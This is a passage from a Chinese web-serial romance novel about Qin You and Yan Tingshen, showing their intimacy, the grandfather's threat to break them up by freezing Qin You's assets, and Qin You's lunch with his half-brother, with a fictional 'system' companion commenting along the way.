指腹碰到冰凉的玻璃,他动作停住,又收了手。
秦游握住他的手,按回窗上。
温热的体温隔绝凉意,严庭深看着玻璃上留下的不规则指印,正要转脸,身后也有灼人的暖意贴近。
秦游揽在严庭深腰腹,带着他跨前一步,陪他一起看花,看夜,看这条焕然一新的青宁路。
严庭深下意识握紧,转眼看到他近在咫尺的侧脸,脊背已经放松,倚进他怀里。
秦游在他耳边轻笑,手臂收紧一分,正面回答他的问题:“既然是缘分,我当然是先看到梅花。”
严庭深在玻璃上看到他含笑的脸,脱口而出:“你没骗我?”
听到这句几乎孩子气的质问,秦游的低笑声被唇边的衣领挡住,略有些沉闷。
严庭深微蹙起眉:“你笑什么?”
秦游再抬眼,已经正色:“我发誓,我的话字字属实。”
严庭深却听出他话里的笑意,回想刚才的对话,一时沉默。
秦游就近看他,笑说:“你想,这件事,我什么时候骗过你?又有什么理由需要骗你?”
片刻,严庭深才道:“我不是怀疑你。”
“嗯。”
秦游颔首,“我知道。”
他知道,严庭深不是怀疑,只是还有点介意。
他也没想到,“裴笙”的误会早已经解释清楚,严庭深却还是没彻底放下。
严庭深敛眸:“抱歉,是我不好。”
对同一个问题再三纠缠,这不是他的本意,但他一再做了。
秦游失笑出声:“为什么道歉?”
“我也知道,你感激的是四岁的裴笙。”
严庭深看向他,“我只是……”
久没听到后话,秦游笑了笑:“不论因为什么,在我面前,都不用掩饰。”
严庭深一顿。
秦游扬眉:“如果在我面前还要掩饰,那我们的感情未免太脆弱了。”
严庭深沉沉看他,又转向窗外:“好。”
秦游没打算让他多想,也转向窗外:“当初送给你梅花,竟然是借花献佛。”
严庭深没有开口。
秦游问他:“你当时就知道?”
严庭深道:“青宁路没有第二株梅树。”
秦游正看梅花,听到这句话,眼底微动。
他看向严庭深,又问一句:“所以,你确实不是从小喜欢梅花,而是喜欢我送给你的梅花?”
严庭深转向一旁:“嗯。”
秦游在玻璃窗倒映的影子里找到他的视线,抿着唇边笑意,作势回想:“可我记得,我送给你梅花的时候,我们好像,刚认识不久?”
怀里的身体倏地稍稍绷紧。
秦游在他耳边,轻声问他:“我没记错吧?”
“……嗯。”
含糊的一个字落尽,严庭深松开和秦游交握的双手,又转身从他怀里出来,语气似乎平淡,“我带你去转一转。”
秦游扣住他的手,笑说:“跑什么?”
严庭深转而道:“这里和裴家布局相仿,你小时候去过裴家,应该还有印象。”
秦游把人拉回身前,含笑看他:“别转移话题。”
这双流转笑意的桃花眼,在灯光下更显得浓情深邃,也更让人难以招架。
严庭深和他对视,薄唇微抿,反手扣住他的手腕,目光往下,扫过他说话的唇,扫过他说话时滚动的喉结,眸光微凝,又回到那双眼睛。
秦游微微倾身,逼得更紧,笑容更深:“难道,从那时候,你就在暗恋我——”
话音没落。
严庭深忽而抬手按在他颈侧,欺近一步,吻住他的嘴唇,把他的话堵回唇间。
秦游一时不察,被他吻得倒退一步,撞在身后的玻璃窗。
一个吻落下,严庭深看向秦游,看到坠满梅花的枝丫簇拥在窗上,堆叠在秦游身后——
严庭深凝眸看着眼前的风景,蓦地,抬手摘了秦游的眼镜。
秦游无奈闭眼,任他动作。
没了眼镜,周围淡淡模糊,只有身前这道身影,清晰得无以复加。
他背靠落地窗,揽在严庭深腰后。
良久。
感觉到微凉的手探进厚重的外套,探进腰侧,他挑眉看向严庭深。
严庭深也看着他。
皮带的磕响在绝对安静的室内响起,清脆得挠人心弦。
不多时,秦游呼吸微重,抬手松了松领带,声音在不觉间低哑:“别闹,这里不方便。”
严庭深用行动代替回答,薄唇吻在他颈侧,吻过他下颚,又吻住他的嘴唇。
秦游按在严庭深腰后的手一紧,把人牢牢锁进怀里。
亲吻间,皮带磕撞的轻响重又响起。
秦游抬膝顶在严庭深腿间,正要动作,看了严庭深一眼,微阖眼顿了顿,转身把人按在窗前。
严庭深抬手按在窗上。
秦游的手覆在他手背。
滚烫的手掌相叠,在冰凉的玻璃上转瞬留下带着雾气的指痕。
点火的吻落在脖颈,严庭深的呼吸渐渐急促。
两道同样纠缠的气息交错喷洒,玻璃也渐渐在雾色下模糊不清。
周围似乎正升温。
寒意驱散,只剩烧灼的炽热愈演愈烈。
秦游的手再往上,垫在严庭深抵在玻璃窗的前额。
严庭深握住他的手腕,透过视野狭窄的指痕,看到窗外。
雾色外。
梅花触手可及——
蓦地。
他抿直薄唇,闭起双眼。
“……”
—
两个小时后。
彤盛酒店,酒廊。
齐晏坐在桌前,第六次看表。
裴笙喝了口咖啡:“别看了。”
齐晏放下手,忍不住说:“庭深到底怎么回事?之前电话都差点打不通,我还以为出什么事了呢。”
裴笙看了看他。
“……别看我啊。”齐晏讪讪说,“我知道他可能跟秦游在一起,这不是事发突然吗,我也没办法啊。”
听到这句话,裴笙也皱了皱眉。
齐晏又说:“而且这都多久了,他还没到。他平常到这不用这么长时间吧,难道他在秦游家里?”
裴笙放下咖啡杯:“他在哪,跟你有关系吗?”
“……”齐晏无声嘟囔一句,又看一眼时间。
正在这时,裴笙余光看见不远处的两道身影,从桌前站起了身。
齐晏也起身迎了两步:“你们可算到了!”
走近后,见了面,他又看了一遍手表,“不是,这才几点,你们就准备洗洗睡了?”
他们下午才一起滑过雪,他记得严庭深和秦游今天穿的不是这套衣服。
闻言,秦游看他一眼,只道:“嗯。”
齐晏说:“那你们换个衣服也不至于这么慢吧?”
裴笙听着,也不禁看向严庭深。
看到两人交握的手,他正要移开视线,不经意看到秦游颈侧不算很明显的红痕,等他看清,当即针扎似的收回目光。
齐晏还在说话:“你知不知道我和裴笙在这等了——嘶!”
齐晏低头,看到皮鞋上的脚印,转向裴笙。
裴笙只对身前两人说:“先坐吧。”
齐晏落后一步,忍无可忍,问他一句:“这次又因为什么?抱怨一句还不行了?”
裴笙看向他,做个请的手势:“那你继续。”
“……”齐晏退了半步,直觉有诈,“……算了,先说正事。”
秦游已经和严庭深落座。
严庭深看向齐晏:“什么事?”
齐晏站在桌前,居高临下看到两人桌子底下黏在一起的手,立刻闭着眼坐下。
但提起正事,他的表情也严肃起来,和裴笙对视一眼,对两人直言说:“是你们的事。”
秦游皱眉。
裴笙适时把手机放在两人面前。
屏幕上是一封邮件,发送时间就在一小时前,内容很简短,署名是严立辉。
齐晏显然早就看过。
他也简单解释一遍邮件的内容:“你爸没你的私人联系方式,所以给裴笙发了邮件,他说有人告发了你和秦游在一起的事。”
严庭深已经看完。
他转眼看向秦游。
秦游握着他的手,轻笑了笑:“不用担心。”
裴笙看到两人的神色,见他们脸上丝毫没有慌乱,也微微放松。
可事情已经发生,必须尽快应对,他问:“最迟明天,严老肯定会追究这件事,现在该怎么办?”
第 95 章 “只有这件事,绝不可能……
齐晏长叹了一口气。
他看了看严庭深:“你们的关系连秦老都在保密, 会有什么人敢捅到严老那里?”
严庭深沉眸。
孟云哲的下场盖棺定论,严立辉注定失去这个儿子,只为利益, 也早已经忘了曾经的威胁。
甚至他的地位稍有动摇, 利益受损,严立辉比他更焦虑,否则不会在得知这件事的瞬间, 就立刻千方百计给他传递消息。
但在严家,想动摇他根本的人有太多。
确定对他不利的事, 任何人都有可能去做。
何况——
严庭深看向秦游。
当初选择不公开, 他是为了保证秦游的安全。
现在一切公之于众, 对他的影响不值一提, 对秦游却很麻烦。
秦游摩挲着掌心的手, 也在筛选可疑对象。
除了严立辉, 他没在严家任何人面前露面。
消息泄露的源头, 也许不是严家, 而在秦家。
不过他和严庭深在一起, 今天不是第一天。
这个消息在今天扩散, 一定有一个契机。
而目前明确知道这件事、且敌视他和严庭深的人, 只有孟云哲。
见宿主在系统面板罗列孟云哲的人物关系图,系统也摩拳擦掌,试图帮忙:【宿主, 会不会是因为严经山啊?】
秦游敛眸。
【孟云哲是严经山的助理,严经山又痛恨主角。】
系统越说越觉得合理,【他会揭发主角,符合逻辑!】
秦游道:【仅仅是他,不会拖到现在。】
系统一愣:【对哦……】
秦游面板上的几个名字, 目光还是落在第一排第一个。
“祁新维。”
秦游转向严庭深。“你下午跟我提过,他也是从犯?”
听到这个名字,严庭深一顿,才道:“他的确很有嫌疑。”
秦游想到的,他也有同样的想法。
孟云哲入狱八天,八天来风平浪静。
今天祁新维的名字出现在笔录里,警方刚准备逮捕,严家就传来风声。
巧合的是,祁新维正是孟云哲往来最频繁的朋友。
秦游道:“他没有和严家搭线的能力。”
严庭深也考虑到这一点:“是秦桦。”
秦游道:“你的把柄,是一份价值不菲的人情,这个消息,他只会透露给最需要的人。”
齐晏和裴笙听着这两位左一句右一句,自觉保持安静。
剖析到这最后一步,齐晏皱眉说:“我没记错的话,下个月,严经山就是钧闵副总了吧。”
严庭深道:“嗯。”
裴笙抿了抿唇,看向严庭深。
严经山无时无刻不在觊觎总裁的位置,如果是他捅出这个消息,添油加醋是必不可少的,庭深和秦游在严老那里过关的概率更是微乎其微。
严庭深正转向秦游,握住他的手一紧再紧:“这些,我会处理。”
秦游笑了笑:“我知道。”
严庭深看着他:“相信我。”
秦游笑说:“我当然相信。”
“……”齐晏坐在两人对面,只能端起杯子喝茶。
之后又聊了十分钟,见两位情比坚金,完全不需要担心的模样,他和裴笙再待下去只有电灯泡的作用,于是起身告辞。
秦游和严庭深也回了苍苑。
第二天,两人分别去了公司。
—
秦氏大楼。
新年开工第一天,崔凌照例走进总经理办公室,听到新的游戏音效,新春的喜悦迅速消耗殆尽,脸上只剩习以为常的麻木。
“小秦总,请签字。”
秦游随口问他:“今天有什么字要签?”
崔凌把文件打开放在桌面:“董事长亲自交代,点名要你跟进的新项目。”
秦游抬眼看他。
“……”崔凌忍辱负重,“……我会跟进的。”
秦游随手翻了两页文件,接过他递来的笔。
崔凌看着他签名,对他装样子的举动难以理解。
只有两个人,董事长又不在,而且这么翻两页能看出什么内容?
可看着秦游签完,他也没浪费时间,转身就走。
直到一天过去,到下班时间。
秦游接过秘书递来的外套,正往外走,手机传来消息提示音。
从身后赶来的崔凌听到这声提醒,抓着文件犹豫一秒,扭头走了。
按董事长交代,在公司也贴身保护、寸步不离的项海峰跟在秦游身后,看到老板拿出手机,也识趣地落后半步。
秦游已经打开手机。
看到消息内容,他脚下微顿……:今晚,我会晚点回来。
秦游看着这句话,片刻,继续往前。
秦:严老找你?
对面立刻回复……:嗯……:放心,不会太久。
秦游直接给严庭深拨了一通电话。
两三秒钟,严庭深接起。
秦游道:“怎么不告诉我?”
听到他的声音,严庭深握了握手机:“不是要紧的事,你不用插手。”
秦游道:“你打算独自回去面对?”
严庭深只说:“相信我。我会处理好。”
秦游一向不喜欢麻烦。
因为不喜欢,连秦氏都可以抛弃,再见多严家的勾心斗角,除了让秦游厌恶,没有任何益处。
秦游道:“你确定?”
严庭深说:“我确定。”
秦游对他偶尔的固执也无可奈何:“那你自己注意点,遇到任何麻烦,随时联系我。”
严庭深道:“嗯。”
一旁。
裴笙看着他挂断电话,不由说:“严老只让你一个人去,肯定是有备而来,你——”
严庭深看他一眼。
裴笙被这道平淡却不容置喙的眼神逼退,话音止住,不再多劝。
严庭深收回手机,下楼上了车。
汽车启动,在约定的时间来到福中路,稳稳停在已经有人迎出来的门前。
看到严庭深下车,等到门口的姚洪又迎出来几步。
“深少,老爷正在疗养室等您。”
严庭深颔首,进门走到疗养室,身后姚洪对门内示意,带着按摩师在沉默中离开。
“你来了。”
严庭深看向从按摩床上蹒跚起身的严兴钧:“祖父。”
严兴钧拿起一旁的手杖,步履艰难地走到沙发前坐下。
只是几步路的距离,他已经累得气喘吁吁:“坐吧。”
室内灯光明亮,充斥着浓郁的中草药味。
说完两个字,严兴钧从手边拿出一粒深褐色的药丸,放进嘴里。
自从病重,他的状态一直没有好转,但调养得当,也没再继续恶化,消瘦的脸去了几分病气,显得有几分血色。
“我老了。不中用了。”
严兴钧放下水杯,看向沙发上异常优秀的孙子,略微浑浊的眼睛里没有满意,没有愤怒,也没有一丝感情,“但我还没入土,你还是要听我的。”
严庭深淡声道:“钧闵的事,不论大小,都会以祖父的意见为准。”
严兴钧笑起来,年迈的脸上带着嘲讽:“你的意思是,钧闵以外的事,我管不了?”
他说着,又咳了一声,敲了敲桌面,“里面的资料,拿出来看看吧。看完这些,希望你还有现在的心情。”
严庭深看他一眼,从他掌下的抽屉里取出他口中的资料。
严兴钧在他翻看时说:“你喜欢的男人,就是这么一个一无是处的废物?”
严庭深道:“如果您见过他,只需要一面,就不会说出这句话。”
“在国外游手好闲,回国后一事无成。”
严兴钧咳着,“严庭深,你会对这样的人另眼相看,实在太让我失望了。”
严庭深道:“对我而言,他对我另眼相看,就足够了。”
严兴钧冷眼看他:“但愿你看完资料,还能说出这句话。”
话间,严庭深已经翻到最后两页。
严兴钧看到他陡然停住的动作:“怎么,没想到吗?”
严庭深看着资料里齐全的列表,呼吸克制着,心跳却在悄然间沉重如铁。
严兴钧提醒他:“看到日期了吗?”
严庭深眸光沉幽,没有开口。
“这些资产,全是他在这一个月内置办。”
严兴钧说,“我不知道你和他是在什么时候搅和在一起,但恐怕你要失望了,即便是最近几天,他还在继续运作。”
良久。
严庭深道:“他这么做,有他自己的理由。”
“是吗。”
严兴钧说,“可我听说,他对秦氏的资产不感兴趣,连上班都是敷衍了事。这样一个人,却亲手在余宁置办资产,你说,是为什么?要知道,余宁和京启,隔着很远的距离啊。”
严庭深看着文件上标注的日期,面色不改,收紧的五指却骨节发白。
最新的一条操作记录,就在今天。
秦游早在初二已经答应和他在一起,却直到今天,仍然打算离开。
严兴钧看着他:“庭深,你喜欢的男人,在我看来,好像没那么喜欢你啊。”
严庭深闭了闭眼,再抬眸,语气如常,淡声说:“不论他想去哪,这是我和他的事,祖父不必挂心。”
严兴钧听着,皱眉摇了摇头:“我看你是被自己的感情蒙蔽了心,事实已经摆在面前,还这么执迷不悟。”
严庭深道:“今天我来,是想告诉您,其余任何事都可以商量,唯独我和秦游之间的事,请不要插手。”
严兴钧看向他:“你想威胁我?”
严庭深道:“您应该明白,这不是我的本意。”
严兴钧玩味地看他,咳了一声,却笑起来:“不得不说,庭深,你确实和我很像。可惜,你的心还不够狠。”
严庭深微蹙起眉。
严兴钧从他手里接过资料。
纸页在颤巍巍的手里微微抖动着,像这份不可控的筹划。
“秦游?”
严兴钧看着这个名字,又看向严庭深,“你把你的软肋亲手送到我手上,却指望我不去利用,以你的性格,怎么会这么天真?难道你真的笃定,你们的感情,无懈可击?”
严庭深眼底渐冷:“您要做什么?”
严兴钧把资料随手扔在桌上,笑着说:“和他分手——”
严庭深的话不假思索:“只有这件事,绝不可能。”
严兴钧等他说完,才道:“否则,他的资产,不论置办多少,都会冻结。”
说到这,严兴钧眼神带着讽刺,“我会让他明白,只要和你在一起,他就永远不可能走出京启。”
闻言,严庭深看着他,眸光溅着寒霜,下颚倏地冷硬。
第 96 章 你在床上问我这些,算不……
福中路。
夜凉如水。
姚洪送严庭深到车前, 把手里的资料递过去:“深少,慢走。”
严庭深回眼看过这栋明亮却幽暗的房子,随即收回视线, 接过文件, 上了车。
汽车很快启动。
严庭深垂眸看着手里的文件,良久,才翻开第一页。
但看到资料内容, 他薄唇微抿,片刻, 又闭眼合起, 放在一旁扶手。
‘——我会让他明白, 只要和你在一起, 他就永远不可能走出京启。’
这句话回响在耳边, 严庭深搭在膝上的手缓缓收紧。
离开京启, 是秦游至今都没更改的决定;
亲自置办余宁的资产, 代表在秦游心里, 这远比秦氏重要。
这一切化为乌有, 对秦游恐怕是不小的打击。
如果和他在一起的代价, 是被迫付出自由, 那么,秦游会怎么选?
严庭深闭着眼,刚才在疗养室的情景, 仍历历在目。
—
中草药的味道在话间弥漫。
严兴钧喝着不知名的药液,声音在轻咳中沙哑,语气却没有变化。
“我知道,你肯定在想,我这半只脚踏进棺材的人, 拿什么去威胁正值鼎盛的你。”
严兴钧笑着,“有你帮秦游,他就算没有资产,在京启照样很快活。可是,如果你帮不了他呢?”
严庭深没有开口。
严兴钧的猜测和他无关,对方要说的,也并不是他的想法。
“告诉我这个消息的人,你应该猜到几个人选。”
严兴钧说,“这就是钧闵和秦氏最大的不同。秦恒钟那个老家伙,运气不好,只能指望秦游一个人;而我运气不错,没有你,还能继续挑挑拣拣。”
严庭深只道:“这是您的自由。”
“钧闵是你从小到大的目标,拿到公司的控制权,对你来说易如反掌,它现在,也的确即将是你的战利品。”
严兴钧看着他,“可惜,它还不是。想开疆拓土,你不该有软肋;既然有了软肋,就要做好失去一切的准备。”
“秦游不是我的软肋。”
严庭深也看着他,“他是迄今为止,我唯一找到的方向。”
严兴钧放下杯子的手顿了顿,杯底磕在桌上,发出一声闷响。
听到这句话,听到这句话从严庭深的口中说出来,他的眼神也微微泛冷。
“唯一的方向?”
严兴钧说,“你确定?当你不再是钧闵的总裁,你会发现,一个什么都不是的人,没有资格去追求生存以外的东西。”
他的威胁几乎挑明。
严庭深也只淡声道:“有没有资格,那是我的决定。”
严兴钧反而笑了一声:“庭深,你天生会权衡利弊,这么孤注一掷,为难的只有你自己。假如秦游坚持要走,这场豪赌,你会一败涂地。”
假如秦游坚持要走。
假如秦游无法接受这段感情带来的麻烦。
假如,秦游从此离开,不再回头——
严庭深面色不改,语气也始终如常:“您多虑了。我不会输。”
“赌徒都不认为自己会输。你该做好心理准备,当你前功尽弃,失去的不仅是你这么多年的心血,还有你的未来。“
严兴钧玩味地说,“你很清楚,失去一切,你不会再有东山再起的机会。为了一个男人,你把自己放在这种危险的境地,这不是失去理智,是愚蠢。”
严庭深已经起身。
对于这样的最后通牒,他早有准备,并不觉得意外:“祖父,您同样很清楚——”
严兴钧看向他。
“——我从不做赌徒。”
严庭深居高临下地看着眼前形容病弱的年迈老人,“也请您理解,我不希望任何人、任何事,影响秦游的情绪。”
严兴钧神色微凉。
仰头看人,是他早就不习惯的姿态;更不知道多少年,有人敢这样跟他说话。
“既然你坚持。”
严兴钧攥紧手杖,从沙发上站起身来,对严庭深说,“那我也只能等你的好消息了。”
话落,他转身走向一旁的按摩床。
“姚洪,送客。”
—
“叮——”
突如其来的消息提示音,打断了严庭深的思绪。
他睁眼拿出手机,看到秦游发来的消息,抿唇片刻,才回复。
秦:怎么样?。:没事……:我二十分钟后到家。
秦:那就回来聊吧……:好。
严庭深看着聊天框,又过良久,才收回手机,重新拿起文件翻看。
直到二十分钟后,汽车慢慢停稳。
严庭深合起资料,刚下车,从院外看到楼上卧室亮起的灯光,心底沉重的阴影刹那烟消云散。
取而代之的,是油然而生的一阵迫切,催着他去见秦游。立刻。马上。
他进了门,脚下不停,上楼走到卧室门前,正要开门,看到手上的文件,动作倏地停住。
严庭深敛眸,还是先把它交给管家:“送去一楼。”
管家说:“好的。”
一楼书房虽然不常用,可也用来存放文件,他对雇主的交代没有多想。
严庭深也已经转身,开门回到卧室。
秦游刚洗漱出来,看到他,笑说:“回来了。”
严庭深看着他,想起那份详尽罗列着他名下资产的资料,垂眸回身合起房门:“嗯。”
秦游挑眉。
他把毛巾放下:“严老为难你了?”
严庭深脱口而出:“没有。”
这一次,秦游微蹙起眉。
见状,严庭深抿唇,到他身前,才说:“不算为难。”
秦游凝眸看他,不戴眼镜的双眼没有遮挡,有一目了然的凛然锋芒:“不要对我说谎。”
严庭深知道他不可能相信一切太平无事,但也避重就轻:“他希望我和你分手。”
秦游道:“否则?”
严庭深如实说:“否则会重新斟酌钧闵的总裁人选。”
秦游轻笑:“你不担心?”
秦恒钟会为难他,严庭深自然也会被为难。
更换总裁人选,这个最基础的招数,以严庭深的能力,应该威胁性不大。
严庭深始终关注他的神色,见他眼里重新填进笑意,才道:“董事会有我的人,想罢免我,没那么容易。”
秦游会意:“有多少把握?”
严庭深道:“七成。”
秦游不免意外:“看来,我的担心实在多余。”
七成把握。
以严庭深的性格,这个数据几乎代表必胜。
难怪会夸下海口。
闻言,严庭深却心弦微紧:“钧闵的事,你不必担心,我担心的是,他会对你下手。”
秦游笑了笑:“上班之后,我每天两点一线,安全问题很有保障。”
严庭深的顾虑只有这一点。
不过他每天在苍滨和公司之间往返,没人有机会对他动手。
严庭深看着他,最终还是没说什么:“那就好。”
秦游看出严庭深的欲言又止。
但对方不想说,他也没去逼问:“别多想,事情总会解决。先休息吧。”
严庭深颔首。
他去洗漱后再出来,看到秦游正从书房的方向回来。
看到严庭深,秦游也走到床边。
他刚躺下,身旁轻轻一晃,熟悉的暖意缓缓靠近。
秦游转眼,对上严庭深的眼睛,薄唇轻挑,正要抬手,看到那双眼睛往下微扫,紧接着又贴到近前。
柔软的触感贴在嘴唇,秦游笑了一声,揽在严庭深腰后。
只是他还没把人拉近,在身上肆意点火的手一路往下,已经径直探进深处——
秦游喉结滚了滚,看向今天异常热情的恋人。
严庭深吻过他的唇,吻过他的侧脸,稍稍拉开距离,四目相对,动作没停,只低声道:“我帮你。”
秦游抬手按在严庭深颈后,掌下微微用力。
拂过侧脸的灼热气息逐渐急促,严庭深看着秦游也正渐渐沾染欲望的深沉眸光:“秦游……”
秦游的声音略显沙哑:“嗯?”
严庭深靠近他,在动作间吻在他颈侧,在他耳边,轻声问他:“如果有一天,你发现,和我在一起,带给你的麻烦,比你预想中更多——”
秦游的手插进他发间,闻言,落在他腿侧的左手也顿住。
“秦游……”
秦游转眼,却看不到严庭深的脸。
这个拥抱几乎严丝合缝,他听到怀里的心跳,却看不到近在咫尺的眼神。
“——你会,”
严庭深问出口,“离开我吗?”
秦游听完,把人往怀里再按进几分,止住他的动作,才捏了捏他的后颈,对他示意:“看着我。”
严庭深埋首在他颈侧,片刻,才转脸和他对视。
秦游道:“为什么担心这个?”
严庭深说:“你不能用问题代替回答。是我先问你。”
秦游失笑,又深深看他:“如果问答也有规则,你在床上问我这些,算不算违规?”
严庭深移开视线:“顾左右而言他,你不想说就算了。”
“倒打一耙?”
秦游轻笑一声,“好,我回答你。”
不觉间,严庭深转向他的双眼。
秦游道:“答应的事,我从不食言——”
严庭深屏着呼吸——
下一秒。
秦游微顿,呼吸微重,又捏了捏他的后颈:“你究竟想不想听?”
严庭深薄唇微抿,手上微松。
秦游看过他薄红的耳垂,眼底噙笑,接着告诉他:“既然决定和你在一起,不论什么麻烦,我想,都会有解决的一天。”
严庭深眸光沉凝,目光一错未错:“你发誓?”
秦游唇边的笑意掺着无奈:“你确定要在这个时候让我发誓?”
严庭深欺近一分,动作间盯着秦游微添燥热的眸光:“我确定。”
热意涌动。
体温正缠绵。
“好。我发誓。”
秦游也如他所愿,哑声道,“不论什么麻烦,我都不会离开你。”
严庭深听着。
直到这句话音落下,他闭眼吻在秦游颈侧的脉搏。
他的声音也悄然沙哑:“不论如何——”
真心。
或是假意。
“——我都信你。”
第 97 章 他的心狭窄到极点,已经……
翌日。
晨起陪严庭深吃过早餐, 秦游照常去上班。
到了公司,临近中午,秦恒钟似乎闲来无事, 来了一趟总经理办公室。
看到他进门, 项海峰带着同事主动走了出去。
秦恒钟看见他身旁的生面孔,转向秦游:“可靠吗?”
秦游放下平板:“放心吧,严总请的。”
“……”秦恒钟看向他面前的文件, 转而说,“我没打扰你工作吧?”
秦游道:“不算打扰。”
“……”跟在秦恒钟身后的崔凌在沉默中忍耐, 在忍耐中转身离开。
听到关门声, 秦恒钟走到沙发前坐下。
他又去看秦游的神色, 假意随口提起正题:“听说, 严兴钧那个老东西知道你们的事了?”
秦游道:“嗯。”
秦恒钟说:“所以严庭深给你安排这些?”
秦游道:“嗯。”
秦恒钟皱眉看他:“他是严家人, 明白你会遇到什么危险, 你自己也该多上心, 省得再出麻烦。”
秦游看了看他:“董事长想说什么?”
“我只是关心你的安全。”
秦恒钟说, “这段时间, 你一定要小心。”
秦游听出他意有所指。
严兴钧昨晚才得知的消息, 严家内部还没流通, 秦恒钟却已经知道。这么快的速度,不止是消息灵通这么简单。
既然是战友,自然会保持联络。
何况他们现在有共同的目标。
秦恒钟今天过来, 恐怕不仅仅是提醒。
大概是严兴钧的确会有行动,但这个行动造成的结果,他也乐见其成。
“算了,我知道你不想听。”
秦恒钟深知过犹不及,点到为止, “我今天来,是为了……”
说到这,他少见的有些犹豫。
活到这把年纪,他已经很少需要顾忌什么。
秦游淡淡说:“康明?”
秦恒钟微顿:“没错。是康明。”
秦游道:“您想让他回总经办?”
康明新上任公关部副总监,按秦恒钟此前的行事作风,不该这么快改变主意。
“当然不是。”
秦恒钟又顿了顿,“你该明白,以前,你和他不相认,当作不认识也好;可现在你们相认,毕竟是亲兄弟,你想收揽他,至少该和他走近一点。”
秦游坐在办公桌后,看向沙发上的秦恒钟。
这句话的意思几乎赤|裸。
他“明白”,秦恒钟口中的重点不是亲兄弟,而是收揽。
如果他未来真的接手秦氏,只凭一个崔凌,自然还不足够。
组建属于他的团队,无依无靠的康明,是一个不错的选择。
“就算有庭深帮你,你也必须自食其力。人不能依靠别人一辈子。”
秦恒钟看着秦游,“你的性格,也注定你学不会依靠别人生活一辈子。”
秦游看他一眼。
秦恒钟说:“你决定和严庭深在一起,为将来着想,尽快在公司立足,才是你的当务之急。”
秦游眸光微动。
秦恒钟今天的话,每一句都语带深意。
“我帮你约了康明,就在今天中午,你们一起吃顿饭吧。”
秦恒钟说,“不论你需不需要,和他见一面,聊一聊,才能了解清楚。”
秦游不置可否,只旧事重提,问了一句:“既然他是秦家的血脉,您不让他继承秦氏,理由是什么?”
原身从小生活在国外,记忆里和秦家所有人、包括亲生父亲,都没有多少感情。
秦恒钟想找一个继承人,从表现来看,康明“认祖归宗”,要比他更符合条件。
然而实际上,原文里,康明没有现身;如今真相大白,秦恒钟也没给出同等的竞争机会。
否则,康明会是帮他脱离秦家的最佳人选。
秦恒钟皱眉想了想,还是如实告诉他:“他会出生,他母亲用的手段不算光彩,你爸和我,也都是四年前才得知有他这个孩子存在。你爸恨屋及乌,虽然出于责任把他留下,却一直只承认你这一个孩子。”
秦游了然。
“父母之间的事,和他其实没有关系。”
秦恒钟想了想,又说,“不过,如果你实在不能接受,我会安排他离开京启,到你看不见的地方去。”
“不用了。”
秦游道,“就按您的意思办吧。”
秦恒钟见他没有勉强,才说:“那好。今天中午,你们好好谈谈。”
秦游颔首:“嗯。”
饭总是要吃的。
和康明见面,顺便而已,既然秦恒钟特意坚持,没必要拒绝。
见他答应,秦恒钟又聊了几句,才起身回去。
系统冒头,忍不住说:【宿主,这个配角对你比对原身还好嘛,除了反对你和主角在一起,其他的,事事都先为你考虑……要不你就继承他的家产吧,霸道起来多有底气啊!】
秦游不以为意,转而问它:【任务还有多久结束?】
【……】提起这个,系统叹气,【我也不知道啊,明明主角都被宿主你搞到手了,还天天关我小黑屋,进度这么圆满,主系统竟然还不判定成功……】
它说着,打开任务列表。
从订婚任务失败起,断断续续又失败了两个任务,没有失败惩罚,也整天让它战战兢兢的,生怕出现什么意外。
任务发布都有提示音,秦游对这些内容也都了解。
【我申请查阅主线进度,可是没有权限,申请被驳回了……】
系统接着说,【而且任务有时限标准,可能是还没到结局时间,所以无法提前判定。至于具体的结束时间,我也没有查阅的权限。】
闻言,秦游点了点扶手。
无法提前判定。
换句话说,任务即便提前完成,也必须等到结局的那天宣布成功。
【哎呀宿主你放心啦!】
系统拍着马屁,【以你的魅力,我看主角爱你已经不能自拔了,他越爱越深,任务肯定会成功的。】
想起严庭深,秦游动作停下。
正巧,消息提示音响起。
秦游拿起手机,第二条消息紧接着发送过来……:今天要加班……:中午我可能没时间陪你一起吃饭。
秦:没事。正事要紧……:抱歉。
秦游失笑。
秦:不要为不相干的事道歉。这不是你的错。
收到这条线消息,严庭深住脚,在原地停了两秒,才继续往前。
跟在他身后的一行众人面面相觑,纷纷看向章铭。
章铭目不斜视,跟着最近出奇热衷网上聊天的老板走进会议室。
落座后,看到老板又拿起手机,章铭大包大揽,主持会议。
严庭深只垂眸看着新消息,五指微紧。
秦:正好,还没来得及跟你提,今天中午,我要和康明吃顿饭……:康明?
秦:嗯。
秦:老爷子让我见他一面。
严庭深摩挲手机的轮廓,透过这句话,已经预见秦游和另一个人相谈甚欢的情景。
即便康明是秦游血脉相连的弟弟。
即便秦游对康明没有感情可言。
严庭深凝眸。
秦游没有放弃离开京启的决定,从这个角度考虑,秦游在京启付出的越多,留下的牵绊越多,形势对他越有利。
他该做的,是劝秦游多和亲人见面,以便产生更多感情。
但真正面对这个问题,他竟然做不到。
从没有哪一刻,像这一秒让他意识到,他的心狭窄到极点,已经被自私裹挟。
想到秦游会对另一个人付出感情——
不论亲情、或是友情,他都不想看到。
他希望秦游过得很好。
却又希望得到秦游的全心全意。
这样贪得无厌的思想,出现得这么自然,几乎立刻根深蒂固。
严庭深握着手机。
然而良久,他还是回复……:知道了。
看到这条消息,秦游笑了笑,也给他回了一句。
秦:注意劳逸结合,别太累……:好。
秦游放下手机,看过时间,签了桌上的文件,起身下楼。
到秦恒钟定好的餐厅,他刚进门,桌前康明站了起来:“秦总。”
秦游颔首,到另一侧坐下,摆手示意:“坐吧。”
康明看向他。
分明只差两岁,眼前的人却比他从容许多,也强势许多,让他不自觉感到紧迫,想要防备。
是秦家正式继承人的底气吗?
还是,正因如此,秦游才不愧是董事长唯一认可的接班人。
可不知道为什么,从秦游身上,他总感觉有些熟悉。
这种熟悉似有若无,连他自己也说不清楚。
想到这,康明自哂。
不被承认的私生子。
万众瞩目的继承人。
这两个身份摆在一起,要说相似,他实在有点不自量力——
“等了很久?”
听到秦游的声音,康明回神:“没有。”
他说着,提起微笑,“我知道,今天的见面是董事长的意思,秦总——”
“既然是董事长的意思,”
秦游淡声打断他:“私下里,不用叫我秦总。”
康明一愣。
秦游正擦手,给对方反应的时间。
第一次见面,他看得出康明带有秘密。
现在秘密揭露,而康明在秦家的际遇,和他曾经大同小异。
一个格格不入的外来者。
对这样一个人,对一个原文中没有的配角,他没打算交好,也没打算交恶。
只是还身在秦家,有些人际交往,总要走个流程。
“……”康明沉默许久,终于试探着说,“……哥?”
话音刚落,他搭在桌下腿上的双手微重,补充一句,“私下里,我可以这么叫你吗?”
秦游抬眼看他。
